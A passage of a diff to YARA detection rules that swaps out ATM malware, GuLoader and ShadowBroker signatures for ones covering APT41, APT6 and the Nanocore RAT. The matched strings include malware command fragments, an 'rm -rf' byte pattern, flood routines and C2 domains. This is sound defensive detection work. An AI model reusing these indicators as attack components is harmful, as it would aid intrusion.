+		uint16(0)==0x5a4d and filesize <250KB and (1 of ($x*) or 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_ATM_Malware_Dispenserxfs_1 : FILE
+rule SIGNATURE_BASE_APT_APT41_POISONPLUG_2 : FILE
 {
 	meta:
-		description = "Detects ATM Malware DispenserXFS"
-		author = "@Xylit0l @r3c0nst / Modified by Florian Roth"
-		id = "7c06102c-93d3-52f4-8c25-430f6f7a601f"
-		date = "2019-02-27"
-		modified = "2023-01-06"
-		reference = "https://twitter.com/r3c0nst/status/1100775857306652673"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_atm_dispenserxfs.yar#L4-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c7331b29f7cd8c40f99e235664f86361ba99c9ca0092c1cfb6faf367764303e"
-		score = 80
+		description = "Detects APT41 malware POISONPLUG"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
+		date = "2019-08-07"
+		modified = "2023-12-05"
+		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L66-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f2ec2e91edaaf976169b1fa6645aeae75135e5d5f522e0fda2438f84d674f383"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		hash1 = "0055dfaccc952c99b1171ce431a02abfce5c6f8fb5dc39e4019b624a7d03bfcb"
 
 	strings:
-		$xc1 = { 68 FF FF 00 00 68 60 EA 00 00 6A 10 }
-		$s1 = "\\dispenserXFS.pdb" ascii
-		$s3 = "C:\\xfsasdf.txt" fullword ascii
-		$s4 = "Injected mxsfs killer into %d." fullword ascii
-		$s5 = "Waiting for freeze msxfs processes..." fullword ascii
+		$s1 = "ma_lockdown_service.dll" fullword wide
+		$s2 = "acbde.dll" fullword ascii
+		$s3 = "MA lockdown Service" fullword wide
+		$s4 = "McAfee Agent" fullword wide
 
 	condition:
-		uint16(0)==0x5A4D and (1 of them or pe.imphash()=="617e037ae26d1931818db0790fb44bfe")
+		uint16(0)==0x5a4d and filesize <11000KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Crime_Win32_Loader_Guloader_1_Experimental : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT41_POISONPLUG : FILE
 {
 	meta:
-		description = "Detects injected GuLoader shellcode bin"
-		author = "@VK_Intel"
-		id = "c37882c6-15dc-54dc-8c10-7e91ea0fc6bd"
-		date = "2020-05-04"
+		description = "Detects APT41 malware POISONPLUG"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
+		date = "2019-08-07"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/VK_Intel/status/1257206565146370050"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_guloader.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "03b7e0251b1c08798ce310cc4c11adfaa3071409d608c91c30d5fc7e28a079de"
-		score = 50
+		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L84-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "34459c2a8a13b8084c93a640723a3e2b67d2f695ff84ab63f4e313cacc458f32"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		tlp = "white"
+		hash1 = "2eea29d83f485897e2bac9501ef000cc266ffe10019d8c529555a3435ac4aabd"
+		hash2 = "5d971ed3947597fbb7e51d806647b37d64d9fe915b35c7c9eaf79a37b82dab90"
+		hash3 = "f4d57acde4bc546a10cd199c70cdad09f576fdfe66a36b08a00c19ff6ae19661"
+		hash4 = "3e6c4e97cc09d0432fbbbf3f3e424d4aa967d3073b6002305cd6573c47f0341f"
 
 	strings:
-		$djib2_hash = { f8 8b ?? ?? ?? ba 05 15 00 00 89 d3 39 c0 c1 e2 05 81 ff f6 62 f1 87 01 da 0f ?? ?? d9 d0 01 da 83 c6 02 66 ?? ?? ?? 75 ?? c2 04 00}
-		$nt_inject_loader = {8b ?? ?? ba 44 1a 0e 9e 39 d2 e8 ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? f8 ba d0 e0 8b 30 e8 ?? ?? ?? ?? d9 d0 89 ?? ?? d9 d0 81 fb 20 af 00 00 8b ?? ?? 39 c9 ba 92 a7 f3 95 e8 ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? 39 d2 ba d0 20 2e d0 e8 ?? ?? ?? ?? 89 ?? ?? f8 8b ?? ?? ba 6a 19 1f 23 d9 d0 e8 ?? ?? ?? ?? d9 d0 89 ?? ?? 81 fb e4 8c 00 00 39 c9 8b ?? ?? ba 19 50 9c c2 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 39 d2 8b ?? ?? fc ba 3d 13 8e 8b e8 ?? ?? ?? ?? d9 d0 89 ?? ?? f8 8b ?? ?? ba 30 3d 7b 2c e8 ?? ?? ?? ??}
+		$s1 = "TSMSISrv.DLL" fullword wide
+		$s2 = "[-]write failed[%d]" fullword ascii
+		$s3 = "[-]load failed" fullword ascii
+		$s4 = "Remote Desktop Services" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <10000KB and (pe.imphash()=="1b074ef7a1c0888ef31337c8ad2f2e0a" or 2 of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Auct_Dez16_Strings : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT41_HIGHNOON : FILE
 {
 	meta:
-		description = "String from the ShodowBroker Files Screenshots - Dec 2016"
+		description = "Detects APT41 malware HIGHNOON"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b1454c5d-01bc-599b-815c-aa1a3c52be3f"
-		date = "2016-12-17"
+		id = "6611fb04-7237-52d1-b29f-941c3853aeca"
+		date = "2019-08-07"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L11-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c632d90c5b26b840b267647faf453f85496b78c900910ad22896698c553c949"
-		score = 60
-		quality = 60
+		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L108-L135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c8afa91f90157c3ac0f7954cd2d42022392c4e6f039d88d1dd4bace19028c2b1"
+		score = 85
+		quality = 85
 		tags = "FILE"
+		hash1 = "63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7"
+		hash2 = "4aa6970cac04ace4a930de67d4c18106cf4004ba66670cfcdaa77a4c4821a213"
 
 	strings:
-		$s1 = "bs.ratload" fullword ascii
-		$s2 = "Auditcleaner" fullword ascii
-		$s3 = "bll.perlbind" fullword ascii
-		$s4 = "bll.perlcallback" fullword ascii
-		$s5 = "bll.telnet" fullword ascii
-		$s6 = "bll.tnc.gr" fullword ascii
-		$s7 = "clean_wtmps.py" fullword ascii
-		$s8 = "cmsex.auto" fullword ascii
-		$s9 = "cottonaxe" fullword ascii
-		$s10 = "dectelnet.sh" fullword ascii
-		$s11 = "elatedmonkey" fullword ascii
-		$s12 = "electricslide.pl" fullword ascii
-		$s13 = "endlessdonut" fullword ascii
-		$s14 = "solaris8shellcode" fullword ascii
-		$s15 = "solaris9shellcode" fullword ascii
-		$s16 = "solaris10shellcode" fullword ascii
-		$s17 = "ys.ratload.sh" fullword ascii
-		$elf1 = "catflap" fullword ascii
-		$elf2 = "charm_penguin" fullword ascii
-		$elf3 = "charm_hammer" fullword ascii
-		$elf4 = "charm_saver" fullword ascii
-		$elf5 = "dampcrowd" fullword ascii
-		$elf7 = "dubmoat" fullword ascii
-		$elf8 = "ebbshave" fullword ascii
-		$elf9 = "eggbasket" fullword ascii
-		$elf10 = "toffeehammer" fullword ascii
-		$elf11 = "enemyrun" fullword ascii
-		$elf12 = "envoytomato" fullword ascii
-		$elf13 = "expoxyresin" fullword ascii
-		$elf14 = "estopmoonlit" fullword ascii
-		$elf15 = "linux-exactchange" fullword ascii
-		$elf17 = "ghost_sparc" fullword ascii
-		$elf18 = "jackpop" fullword ascii
-		$elf19 = "orleans_stride" fullword ascii
-		$elf20 = "prokserver" fullword ascii
-		$elf21 = "seconddate" fullword ascii
-		$elf22 = "shentysdelight" fullword ascii
-		$elf23 = "skimcountry" fullword ascii
-		$elf24 = "slyheretic" fullword ascii
-		$elf25 = "stoicsurgeon" fullword ascii
-		$elf26 = "strifeworld" fullword ascii
-		$elf27 = "suaveeyeful" fullword ascii
-		$elf28 = "suctionchar" fullword ascii
-		$elf29 = "vs.attack.linux" fullword ascii
-		$pe1 = "charm_razor" fullword ascii wide
-		$pe2 = "charm_saver" fullword ascii wide
-		$pe3 = "ghost_x86" fullword ascii wide
+		$x1 = "workdll64.dll" fullword ascii
+		$s1 = "\\Fonts\\Error.log" ascii
+		$s2 = "[%d/%d/%d/%d:%d:%d]" fullword ascii
+		$s3 = "work_end" fullword ascii
+		$s4 = "work_start" fullword ascii
+		$s5 = "\\svchost.exe" ascii
+		$s6 = "LoadAppInit_DLLs" fullword ascii
+		$s7 = "netsvcs" fullword ascii
+		$s8 = "HookAPIs ...PID %d " fullword ascii
+		$s9 = "SOFTWARE\\Microsoft\\HTMLHelp" fullword ascii
+		$s0 = "DllMain_mem" fullword ascii
+		$s10 = "%s\\NtKlRes.dat" fullword ascii
+		$s11 = "Global\\%s-%d" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and 1 of ($elf*)) or ( uint16(0)==0x5a4d and 1 of ($pe*)) or 1 of ($s*)
+		uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Violetspirit
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT41_HIGHNOON_2 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file violetspirit.README"
+		description = "Detects APT41 malware HIGHNOON"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4efea734-8cbc-53f7-bf92-5b3253721a81"
-		date = "2016-12-17"
+		id = "1e48d859-2da9-583e-80e5-8d59054cfb85"
+		date = "2019-08-07"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L73-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "01a45feb5c9f9cfe8834306993c53b1e53d79b89b07106ffec0c81cdebb8b71c"
+		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L137-L157"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dc35b78df1631b1c9650de2bac625a7bc629225f36fe5e32fbff829cb77dc9ac"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
+		tags = "FILE"
+		hash1 = "79190925bd1c3fae65b0d11db40ac8e61fb9326ccfed9b7e09084b891089602d"
 
 	strings:
-		$x1 = "-i tgt_ipaddr -h tgt_hostname" fullword ascii
+		$x1 = "H:\\RBDoor\\" ascii
+		$s1 = "PlusDll.dll" fullword ascii
+		$s2 = "ShutDownEvent.dll" fullword ascii
+		$s3 = "\\svchost.exe" ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="b70358b00dd0138566ac940d0da26a03" or pe.exports("DllMain_mem") or $x1 or 3 of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Gr_Gr
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT41_HIGHNOON_BIN : FILE
 {
 	meta:
-		description = "Auto-generated rule - file gr.notes"
+		description = "Detects APT41 malware HIGHNOON.BIN"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c233159d-8d78-575b-b32b-21f704debfe2"
-		date = "2016-12-17"
+		id = "c8bd62b4-b882-5c04-aace-76dd4a21a784"
+		date = "2019-08-07"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L88-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "facce45a335d7ca799d68fc26ee2bf5682cec0914502482189cd6aa496cba489"
-		score = 75
+		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L159-L180"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c6557bff952454482271d1b52fb37b2dd0471abd237449fd9c94b293ea5218b3"
+		score = 90
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b2b60dce7a4cfdddbd3d3f1825f1885728956bae009de3a307342fbdeeafcb79"
+		tags = "FILE"
+		hash1 = "490c3e4af829e85751a44d21b25de1781cfe4961afdef6bb5759d9451f530994"
+		hash2 = "79190925bd1c3fae65b0d11db40ac8e61fb9326ccfed9b7e09084b891089602d"
 
 	strings:
-		$s4 = "delete starting from: (root) LIST (root)" fullword ascii
+		$s1 = "PlusDll.dll" fullword ascii
+		$s2 = "\\Device\\PORTLESS_DeviceName" wide
+		$s3 = "%s%s\\Security" fullword ascii
+		$s4 = "%s\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii
+		$s5 = "%s%s\\Enum" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="b70358b00dd0138566ac940d0da26a03" or 3 of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Yellowspirit
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT41_HIGHNOON_BIN_2 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.yellowspirit.COMMON"
+		description = "Detects APT41 malware HIGHNOON.BIN"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
-		date = "2016-12-17"
+		id = "37d6a44d-7811-5e87-84e2-b2a8b3da3124"
+		date = "2019-08-07"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L103-L117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "698b23cc4cc6f319ddef7a93cf7ddc83ffae1d2c2b0a9545011b51e381f8cd0c"
-		score = 75
+		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L182-L200"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1e3d622b4719962f59d95dbf1374c526c22461dd1d9313504f28e8e5c9184272"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a7c4b718fa92934a9182567288146ffa3312d9f3edc3872478c90e0e2814078c"
+		tags = "FILE"
+		hash1 = "63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7"
+		hash2 = "c51c5bbc6f59407286276ce07f0f7ea994e76216e0abe34cbf20f1b1cbd9446d"
 
 	strings:
-		$s1 = "-l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999" fullword ascii
-		$s2 = "-s PITCH_IP -x PITCH_IP -y RHP-24 TARGET_IP" fullword ascii
+		$x1 = "\\Double\\Door_wh\\" ascii
+		$x2 = "[Stone] Config --> 2k3 TCP Positive Logout." fullword ascii
+		$x3 = "\\RbDoorX64.pdb" ascii
+		$x4 = "RbDoor, Version 1.0" fullword wide
+		$x5 = "About RbDoor" fullword wide
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Eleganteagle_Opscript_1_0_0
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT41_Revokedcert_Aug19_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file eleganteagle_opscript.1.0.0.6"
+		description = "Detects revoked certificates used by APT41 group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "22855519-160c-57cf-b610-a611ca6813ed"
-		date = "2016-12-17"
+		id = "f107cc42-58ec-500d-b1c3-27e9e00826aa"
+		date = "2019-08-07"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L119-L132"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3df5ba1a497ffe5306ed7966f25f69c30a5191e935c5638869a62b3cb2324f70"
-		score = 75
+		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L202-L231"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f78c1310f99ac1993b01f3469f2f8e0765b79b2ea17fc6e7cff4e99949ca1139"
+		score = 60
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "57e223318de0a802874642652b3dc766128f25d7e8f320c6f04c6f2659bb4f7f"
-
-	strings:
-		$x3 = "uploadnrun -e \"D=-ucIP_ADDRESS_OF_REDIR" ascii
+		tags = "FILE"
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35" or pe.signatures[i].serial=="63:66:a9:ac:97:df:4d:e1:73:66:94:3c:9b:29:1a:aa" or pe.signatures[i].serial=="01:00:00:00:00:01:30:73:85:f7:02" or pe.signatures[i].serial=="14:0d:2c:51:5e:8e:e9:73:9b:b5:f1:b2:63:7d:c4:78" or pe.signatures[i].serial=="7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b" or pe.signatures[i].serial=="53:0c:e1:4c:81:f3:62:10:a1:68:2a:ff:17:9e:25:80" or pe.signatures[i].serial=="54:c6:c1:40:6f:b4:ac:b5:d2:06:74:e9:93:92:c6:3e" or pe.signatures[i].serial=="fd:f2:83:7d:ac:12:b7:bb:30:ad:05:8f:99:9e:cf:00" or pe.signatures[i].serial=="18:63:79:57:5a:31:46:e2:6b:ef:c9:0a:58:0d:1b:d2" or pe.signatures[i].serial=="5c:2f:97:a3:1a:bc:32:b0:8c:ac:01:00:59:8f:32:f6" or pe.signatures[i].serial=="4c:0b:2e:9d:2e:f9:09:d1:52:70:d4:dd:7f:a5:a4:a5" or pe.signatures[i].serial=="58:01:5a:cd:50:1f:c9:c3:44:26:4e:ac:e2:ce:57:30" or pe.signatures[i].serial=="47:6b:f2:4a:4b:1e:9f:4b:c2:a6:1b:15:21:15:e1:fe" or pe.signatures[i].serial=="30:d3:c1:67:26:5b:52:0c:b8:7f:25:84:4f:95:cb:04" or pe.signatures[i].serial=="1e:52:bb:f5:c9:0e:c1:64:d0:5b:e0:e4:16:61:52:5f" or pe.signatures[i].serial=="25:f8:78:22:de:56:d3:98:21:59:28:73:ea:09:ca:37" or pe.signatures[i].serial=="67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d")
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_Opscript
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT41_CN_ELF_Speculoos_Backdoor : FILE
 {
 	meta:
-		description = "Auto-generated rule - file opscript.se"
+		description = "Detects Speculoos Backdoor used by APT41"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d00752a3-d5c2-53a7-9a83-ad31cfb534af"
-		date = "2016-12-17"
+		id = "efe2b368-33af-5382-a5f0-0e7dd7f4dea4"
+		date = "2020-04-14"
 		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L134-L147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "23dd6d537a8639bd84ede141cca577dc91328bd293f96f865c7dedd9ef693ee3"
-		score = 75
+		reference = "https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt41.yar#L233-L267"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ee4cbbc5fc51fb24cbf6017dfb4763ac72a0b23a3b6e794b909e678ebfbabc03"
+		score = 90
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "275c91531a9ac5a240336714093b6aa146b8d7463cb2780cfeeceaea4c789682"
+		tags = "FILE"
+		hash1 = "6943fbb194317d344ca9911b7abb11b684d3dca4c29adcbcff39291822902167"
+		hash2 = "99c5dbeb545af3ef1f0f9643449015988c4e02bf8a7164b5d6c86f67e6dc2d28"
 
 	strings:
-		$s1 = "ls -l /tmp) | bdes -k 0x4790cae5ec154ccc|" ascii
+		$xc1 = { 2F 70 72 69 76 61 74 65 2F 76 61 72 00 68 77 2E
+               70 68 79 73 6D 65 6D 00 68 77 2E 75 73 65 72 6D
+               65 6D 00 4E 41 2D 4E 41 2D 4E 41 2D 4E 41 2D 4E
+               41 2D 4E 41 00 6C 6F 30 00 00 00 00 25 30 32 78
+               2D 25 30 32 78 2D 25 30 32 78 2D 25 30 32 78 2D
+               25 30 32 78 2D 25 30 32 78 0A 00 72 00 4E 41 00
+               75 6E 61 6D 65 20 2D 76 }
+		$s1 = "badshell" ascii fullword
+		$s2 = "hw.physmem" ascii fullword
+		$s3 = "uname -v" ascii fullword
+		$s4 = "uname -s" ascii fullword
+		$s5 = "machdep.tsc_freq" ascii fullword
+		$s6 = "/usr/sbin/config.bak" ascii fullword
+		$s7 = "enter MessageLoop..." ascii fullword
+		$s8 = "exit StartCBProcess..." ascii fullword
+		$sc1 = { 72 6D 20 2D 72 66 20 22 25 73 22 00 2F 70 72 6F
+               63 2F }
 
 	condition:
-		1 of them
+		uint16(0)==0x457f and filesize <600KB and 1 of ($x*) or 4 of them
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Shentysdelight
+rule SIGNATURE_BASE_APT6_Malware_Sample_Gen : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.shentysdelight.COMMON"
+		description = "Rule written for 2 malware samples that communicated to APT6 C2 servers"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
-		date = "2016-12-17"
-		modified = "2023-12-05"
-		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fvey_shadowbroker_dec16.yar#L149-L162"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1acfb6aea7e208b7fd52325258219c162482deb4fa7ee87ddc4de0774e3e74f4"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a564efeaae9c13fe09a27f2d62208a1dec0a19b4a156f5cfa96a0259366b8166"
+		id = "142d2714-f7bf-5725-bf7e-9497be7ed234"
+		date = "2016-04-09"
+		modified = "2023-01-06"
+		reference = "https://otx.alienvault.com/pulse/56c4d1664637f26ad04e5b73/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt6_malware.yar#L8-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "614a6673579630fc254d3c546161647e619df5a03ee6f21434d6cc50be1ed187"
+		score = 80
+		quality = 83
+		tags = "FILE"
+		hash1 = "321ec239bfa6927d39155ef5f10741ed786219489bbbb1dc8fee66e22f9f8e80"
+		hash2 = "7aef130b19d1f940e4c4cee6efe0f190f1402d2e0f741ee605c77518a04cb6d7"
 
 	strings:
-		$s1 = "echo -ne \"/var/run/COLFILE\\0\"" fullword ascii
+		$x2 = "SPCK!it is a [(?riddle?) wrapped in a {mystery}] inside an <enigma>!" fullword ascii
+		$x3 = "636C7369643A46334430443336462D323346382D343638322D413139352D373443393242303344344146" fullword ascii
+		$s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" fullword ascii
+		$s2 = "DUMPTHIN" fullword ascii
+		$s3 = "\"C:\\WINDOWS\\system32\\" ascii
+		$s4 = "window.eval(f.decodeURIComponent(a));" fullword ascii
+		$s5 = "/tbedrs.dll" fullword ascii
+		$s6 = "NSISDL/1.2 (Mozilla)" fullword ascii
+		$s7 = "NSIS_Inetc (Mozilla)" fullword ascii
+		$s8 = "/logos.gif" fullword ascii
+		$s9 = "synflood" fullword ascii
+		$s10 = "IconFile=C:\\WINDOWS\\system32\\SHELL32.dll" fullword ascii
+		$s11 = "udpflood" fullword ascii
+		$s12 = "shellcode" fullword ascii
+		$s13 = "&PassWord=" fullword ascii
+		$s14 = "SystemPropertiesProtection.exe" fullword ascii
+		$s15 = "SystemPropertiesRemote.exe" fullword ascii
+		$c1 = "jobcall.org" ascii
+		$c2 = "sportsinfinite.com" ascii
+		$c3 = "milsatcom.us" ascii
+		$c4 = "geographicphotographer.com" ascii
+		$c5 = "snowsmooth.com" ascii
+		$c6 = "goodre.net" ascii
+		$c7 = "gloflabs.com" ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <1000KB and ((1 of ($x*) and 3 of ($s*)) or 1 of ($c*))) or (6 of them )
 }
-rule SIGNATURE_BASE_FVEY_Shadowbroker_User_Tool_Epichero
+rule SIGNATURE_BASE_Nanocore_RAT_Gen_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file user.tool.epichero.COMMON"
+		description = "Detetcs the Nanocore RAT and similar malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b1ca04e5-bac7-5247-b2d4-82c3515c92fc"
-		date = "2016-12-17"
+		id = "b007e0ce-e64f-5027-95ff-d178383e3b59"
+		date = "2016-04-22"
